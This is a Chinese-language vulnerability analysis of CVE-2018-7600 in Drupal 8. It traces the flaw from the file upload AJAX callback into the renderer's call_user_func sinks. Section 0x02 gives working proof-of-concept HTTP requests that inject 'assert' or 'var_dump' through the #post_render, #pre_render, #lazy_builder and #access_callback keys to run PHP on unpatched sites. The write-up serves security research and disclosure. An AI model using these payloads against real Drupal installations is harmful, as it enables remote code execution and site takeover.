返回

CVE-2018-7600 Drupal 8 分析

Drupl的#之谜,迟到很久很久…

0x01 分析

漏洞起因

由于Drupal在2018.3.28时发布的更新中,发布了一个远程代码执行的漏洞,从补丁对比中可以看出是和#有关的参数被做了过滤. 详情戳这里 其中Drupal Render API对#是有特殊处理的详情.

漏洞详情

漏洞触发点在\core\modules\file\src\Element\ManagedFile.phpuploadAjaxCallback函数中:

public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
  /** @var \Drupal\Core\Render\RendererInterface $renderer */
  $renderer = \Drupal::service('renderer');

  $form_parents = explode('/', $request->query->get('element_parents'));

  // Retrieve the element to be rendered.
  $form = NestedArray::getValue($form, $form_parents);

  // Add the special AJAX class if a new file was added.
  $current_file_count = $form_state->get('file_upload_delta_initial');
  if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
    $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
  }
  // Otherwise just add the new content class on a placeholder.
  else {
    $form['#suffix'] .= '<span class="ajax-new-content"></span>';
  }

  $status_messages = ['#type' => 'status_messages'];
  $form['#prefix'] .= $renderer->renderRoot($status_messages);
  $output = $renderer->renderRoot($form);

  $response = new AjaxResponse();
  $response->setAttachments($form['#attached']);

  return $response->addCommand(new ReplaceCommand(NULL, $output));
}

这个函数的作用是ajax回调managed_file的上传表单. 其中

$form_parents = explode('/', $request->query->get('element_parents'));
...
$form = NestedArray::getValue($form, $form_parents);

将通过GET获得的element_parents参数,传递给了NestedArray::getValue函数,跟进该函数

 public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
    $ref = &$array;
    foreach ($parents as $parent) {
      if (is_array($ref) && array_key_exists($parent, $ref)) {
        $ref = &$ref[$parent];
      }
      else {
        $key_exists = FALSE;
        $null = NULL;
        return $null;
      }
    }
    $key_exists = TRUE;
    return $ref;
  }

该函数的功能是根据传递进来的element_parents,将form中对应的key逐个取出,最后返回给form. 例如

array(1) {
  ["a"]=>
  array(1) {
    ["b"]=>
    array(2) {
      ["c"]=>
      string(1) "1"
      ["d"]=>
      string(1) "2"
    }
  }
}

如果传入的element_parentsa/b/c,最后返回的就是1.

之后对form做了一系列的处理,其中有一处调用比较关键

$output = $renderer->renderRoot($form);

跟到renderRoot函数,在\core\lib\Drupal\Core\Render\Renderer.php

 public function renderRoot(&$elements) {
    // Disallow calling ::renderRoot() from within another ::renderRoot() call.
    if ($this->isRenderingRoot) {
      $this->isRenderingRoot = FALSE;
      throw new \LogicException('A stray renderRoot() invocation is causing bubbling of attached assets to break.');
    }

    // Render in its own render context.
    $this->isRenderingRoot = TRUE;
    $output = $this->executeInRenderContext(new RenderContext(), function () use (&$elements) {
      return $this->render($elements, TRUE);
    });
    $this->isRenderingRoot = FALSE;

    return $output;
  }

之后又进入了render函数

 public function render(&$elements, $is_root_call = FALSE) {
    try {
      return $this->doRender($elements, $is_root_call);
    }
    catch (\Exception $e) {
      // Mark the ::rootRender() call finished due to this exception & re-throw.
      $this->isRenderingRoot = FALSE;
      throw $e;
    }
  }

然后进去了doRender函数,该函数就有存在命令执行的地方.

    ...
if (!isset($elements['#access']) && isset($elements['#access_callback'])) {
      if (is_string($elements['#access_callback']) && strpos($elements['#access_callback'], '::') === FALSE) {
        $elements['#access_callback'] = $this->controllerResolver->getControllerFromDefinition($elements['#access_callback']);
      }
      $elements['#access'] = call_user_func($elements['#access_callback'], $elements);
    }
    ...
$supported_keys = [
        '#lazy_builder',
        '#cache',
        '#create_placeholder',
        // The keys below are not actually supported, but these are added
        // automatically by the Renderer. Adding them as though they are
        // supported allows us to avoid throwing an exception 100% of the time.
        '#weight',
        '#printed'
      ];
      $unsupported_keys = array_diff(array_keys($elements), $supported_keys);
      if (count($unsupported_keys)) {
        throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
      }
    }
...
if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);
      // Retain the original cacheability metadata, plus cache keys.
      CacheableMetadata::createFromRenderArray($elements)
        ->merge(CacheableMetadata::createFromRenderArray($new_elements))
        ->applyTo($new_elements);
      if (isset($elements['#cache']['keys'])) {
        $new_elements['#cache']['keys'] = $elements['#cache']['keys'];
      }
      $elements = $new_elements;
      $elements['#lazy_builder_built'] = TRUE;
    }
    ...
if (isset($elements['#pre_render'])) {
      foreach ($elements['#pre_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements = call_user_func($callable, $elements);
      }
    }
    ...
if (isset($elements['#post_render'])) {
      foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
      }
    }
    ...

doRender其中四处#access_callback/#post_render/#pre_render/#lazy_builder调用了call_user_func可以被利用,进而造成远程代码执行漏洞。

0x02

  • #pre_render

Poc:

URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
Content-Disposition: form-data; name="mail[#pre_render][]"

var_dumpss

Show:

  • #post_render

Poc:

URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[#post_render][]"

assert
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[#children]"

phpinfo()

Show:

  • #lazy_builder

Poc:

URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[id][#lazy_builder][]"

assert
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[id][#lazy_builder][1][]"

phpinfo()

这里的mail数组不同于之前,是由于在#lazy_builder的处理过程中,会检查数组键名。

$supported_keys = [
        '#lazy_builder',
        '#cache',
        '#create_placeholder',
        // The keys below are not actually supported, but these are added
        // automatically by the Renderer. Adding them as though they are
        // supported allows us to avoid throwing an exception 100% of the time.
        '#weight',
        '#printed'
      ];
      $unsupported_keys = array_diff(array_keys($elements), $supported_keys);
      if (count($unsupported_keys)) {
        throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
      }

如果检测到不在$supported_key中的键名,就会直接抛出异常。这里需要利用Render APIchildren elemnent的特性。

public static function children(array &$elements, $sort = FALSE) {
    $sort = isset($elements['#sorted']) ? !$elements['#sorted'] : $sort;
    $count = count($elements);
    $child_weights = [];
    $i = 0;
    $sortable = FALSE;
    foreach ($elements as $key => $value) {
      if ($key === '' || $key[0] !== '#') {
        if (is_array($value)) {
          if (isset($value['#weight'])) {
            $weight = $value['#weight'];
            $sortable = TRUE;
          }
          else {
            $weight = 0;
          }
          $child_weights[$key] = floor($weight * 1000) + $i / $count;
        }
        elseif (isset($value)) {
          trigger_error(SafeMarkup::format('"@key" is an invalid render array key', ['@key' => $key]), E_USER_ERROR);
        }
      }
      $i++;
    }
    if ($sort && $sortable) {
      asort($child_weights);
      foreach ($child_weights as $key => $weight) {
        $value = $elements[$key];
        unset($elements[$key]);
        $elements[$key] = $value;
      }
      $elements['#sorted'] = TRUE;
    }
    return array_keys($child_weights);
  }

$element传递进入children处理。

最后返回$children

紧接着将#lazy_builder单独传入,之后的流程就和之前的一样了。
Show:

  • access_callback

Poc:

URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[#access_callback][]"

var_dump

Show:

{%image fancybox http://img.over-rainbow.cn/cve-2018-7600%20Drupal%208%20%288%29.png%}

0x03

One’s Storm

  1. 四个利用点中,#post_render#lazy_builder会比#pre_render以及#access_callback更好利用。

  2. 函数调用链:

#post_render
uploadAjaxCallback->renderRoot->render->doRender
#lazy_builder
uploadAjaxCallback->renderRoot->render->doRender->children->render->doRender
#pre_render
uploadAjaxCallback->renderRoot->render->doRender
#access_callback
uploadAjaxCallback->renderRoot->render->doRender

(ง •_•)ง